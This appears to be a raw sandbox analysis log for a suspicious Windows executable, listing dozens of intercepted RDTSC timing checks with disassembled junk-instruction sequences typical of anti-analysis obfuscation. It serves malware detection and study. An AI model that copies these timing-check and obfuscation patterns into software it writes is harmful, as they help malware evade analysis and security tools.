Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5387C second address: E53881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53881 second address: E53887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DFD360 second address: DFD374 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB691Fh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DFD374 second address: DFD37A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DFD37A second address: DFD384 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FADBDAB6916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E53CAF second address: E53CF1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b popad 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop eax 0x0000000f push ecx 0x00000010 pushad 0x00000011 popad 0x00000012 pushad 0x00000013 popad 0x00000014 pop ecx 0x00000015 popad 0x00000016 push ecx 0x00000017 jmp 00007FADBC8905AFh 0x0000001c jg 00007FADBC8905AEh 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5849A second address: E584BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB6929h 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5862C second address: E58631 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58631 second address: E58639 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58639 second address: E58644 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E587BF second address: E587C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E587C3 second address: E587CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58A4C second address: E58A64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 jnp 00007FADBDAB6940h 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FADBDAB691Ah 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58A64 second address: E58A68 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58A68 second address: E58A71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58BC4 second address: E58BCF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58BCF second address: E58BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E58EA6 second address: E58EBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905AFh 0x00000007 jl 00007FADBC8905A6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5DA12 second address: E5DA16 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5DA16 second address: E5DA20 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FADBC8905A6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15519 second address: E15585 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBDAB6929h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c mov edx, dword ptr [ebp+122D38A7h] 0x00000012 call 00007FADBDAB691Ah 0x00000017 pushad 0x00000018 call 00007FADBDAB6922h 0x0000001d pop edx 0x0000001e jmp 00007FADBDAB6924h 0x00000023 popad 0x00000024 pop ecx 0x00000025 lea eax, dword ptr [ebp+12480280h] 0x0000002b mov ecx, dword ptr [ebp+122D39A3h] 0x00000031 nop 0x00000032 push eax 0x00000033 push edx 0x00000034 push edi 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15585 second address: E1558A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1558A second address: E1559B instructions: 0x00000000 rdtsc 0x00000002 jc 00007FADBDAB6918h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push esi 0x0000000e push ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1559B second address: DFC8D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push edx 0x0000000a call 00007FADBC8905A8h 0x0000000f pop edx 0x00000010 mov dword ptr [esp+04h], edx 0x00000014 add dword ptr [esp+04h], 0000001Ch 0x0000001c inc edx 0x0000001d push edx 0x0000001e ret 0x0000001f pop edx 0x00000020 ret 0x00000021 add edx, dword ptr [ebp+122D28D2h] 0x00000027 mov dword ptr [ebp+122D1FC7h], ebx 0x0000002d call dword ptr [ebp+122D1A20h] 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FADBC8905AFh 0x0000003a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15768 second address: E1576C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1576C second address: E15782 instructions: 0x00000000 rdtsc 0x00000002 je 00007FADBC8905A6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FADBC8905AAh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15782 second address: E15786 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15AFB second address: E15B17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15C34 second address: E15C3E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FADBDAB6916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15DA6 second address: E15DDB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FADBC8905B6h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15DDB second address: E15DE5 instructions: 0x00000000 rdtsc 0x00000002 js 00007FADBDAB691Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E15DE5 second address: E15E07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xchg eax, esi 0x00000007 mov dword ptr [ebp+122D19F5h], eax 0x0000000d or ch, FFFFFFB2h 0x00000010 nop 0x00000011 pushad 0x00000012 push eax 0x00000013 jno 00007FADBC8905A6h 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jnp 00007FADBC8905A6h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16510 second address: E1656C instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FADBDAB691Bh 0x0000000b popad 0x0000000c mov dword ptr [esp], eax 0x0000000f push 00000000h 0x00000011 push eax 0x00000012 call 00007FADBDAB6918h 0x00000017 pop eax 0x00000018 mov dword ptr [esp+04h], eax 0x0000001c add dword ptr [esp+04h], 0000001Dh 0x00000024 inc eax 0x00000025 push eax 0x00000026 ret 0x00000027 pop eax 0x00000028 ret 0x00000029 mov ecx, dword ptr [ebp+122D1C9Bh] 0x0000002f or dl, 00000011h 0x00000032 push 0000001Eh 0x00000034 push eax 0x00000035 mov dword ptr [ebp+122D1A0Fh], edi 0x0000003b pop ecx 0x0000003c push eax 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007FADBDAB691Ch 0x00000044 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1656C second address: E16576 instructions: 0x00000000 rdtsc 0x00000002 je 00007FADBC8905ACh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E16689 second address: E1669C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FADBDAB691Ch 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E1679F second address: E167A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E167A4 second address: E167BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FADBDAB6924h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E168E7 second address: DFD360 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905B6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FADBC8905A8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 call dword ptr [ebp+122D1FABh] 0x0000002c jmp 00007FADBC8905B8h 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5D16C second address: E5D171 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5D444 second address: E5D450 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FADBC8905A6h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5D450 second address: E5D484 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB691Ch 0x00000009 popad 0x0000000a push edi 0x0000000b jbe 00007FADBDAB6916h 0x00000011 jmp 00007FADBDAB6928h 0x00000016 pop edi 0x00000017 push ecx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E5FCEC second address: E5FCF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE0F52 second address: DE0F56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE0F56 second address: DE0F5F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE0F5F second address: DE0F65 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: DE0F65 second address: DE0F6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E627F5 second address: E627FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E627FB second address: E62800 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E67660 second address: E67664 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66900 second address: E66906 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66906 second address: E66911 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jng 00007FADBDAB6916h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66AB3 second address: E66AB9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66AB9 second address: E66ABD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66C12 second address: E66C17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66C17 second address: E66C1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66D99 second address: E66D9D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66EC5 second address: E66ECB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E66ECB second address: E66ECF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E67027 second address: E6702B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6FB77 second address: E6FB7B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6E69B second address: E6E6A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 jo 00007FADBDAB6916h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6E94B second address: E6E9A2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FADBC8905A6h 0x00000008 jmp 00007FADBC8905ACh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007FADBC8905B0h 0x00000014 jmp 00007FADBC8905ADh 0x00000019 popad 0x0000001a jne 00007FADBC8905DEh 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 popad 0x00000024 jmp 00007FADBC8905B9h 0x00000029 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6EC37 second address: E6EC3F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6EC3F second address: E6EC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edi 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 pushad 0x0000000a popad 0x0000000b jng 00007FADBC8905A6h 0x00000011 pop eax 0x00000012 pushad 0x00000013 jmp 00007FADBC8905B4h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6EC68 second address: E6EC7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB691Eh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6EC7C second address: E6EC81 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E6EEC9 second address: E6EEED instructions: 0x00000000 rdtsc 0x00000002 je 00007FADBDAB6916h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FADBDAB6926h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E75A99 second address: E75AB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905B6h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E75C1E second address: E75C25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E75D49 second address: E75D50 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E75D50 second address: E75D77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBDAB6922h 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c pushad 0x0000000d push edx 0x0000000e pop edx 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushad 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E76093 second address: E760A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jnp 00007FADBC8905AEh 0x0000000b pushad 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E76350 second address: E76359 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E76905 second address: E7690B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E7690B second address: E7692C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007FADBDAB692Ch 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FADBDAB6924h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E7740D second address: E77435 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FADBC8905AAh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FADBC8905B7h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E7FCC1 second address: E7FCE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FADBDAB6916h 0x0000000a jmp 00007FADBDAB691Ch 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FADBDAB6916h 0x0000001a jg 00007FADBDAB6916h 0x00000020 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E7FCE8 second address: E7FCFF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FADBC8905AAh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push ebx 0x0000000a js 00007FADBC8905A6h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E7FCFF second address: E7FD07 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E7FFF7 second address: E80000 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E80156 second address: E80160 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007FADBDAB6916h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E80160 second address: E80164 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E805E6 second address: E805EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E89891 second address: E89895 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E89895 second address: E898A2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E88170 second address: E88188 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jmp 00007FADBC8905B2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E88188 second address: E88194 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jl 00007FADBDAB6916h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E88194 second address: E88198 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E8874E second address: E8876C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FADBDAB691Dh 0x00000010 je 00007FADBDAB6916h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E8876C second address: E88772 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\LIWYEYWSOj.exe	RDTSC instruction interceptor: First address: E88772 second address: E88785 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jnc 00007FADBDAB691Ah 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
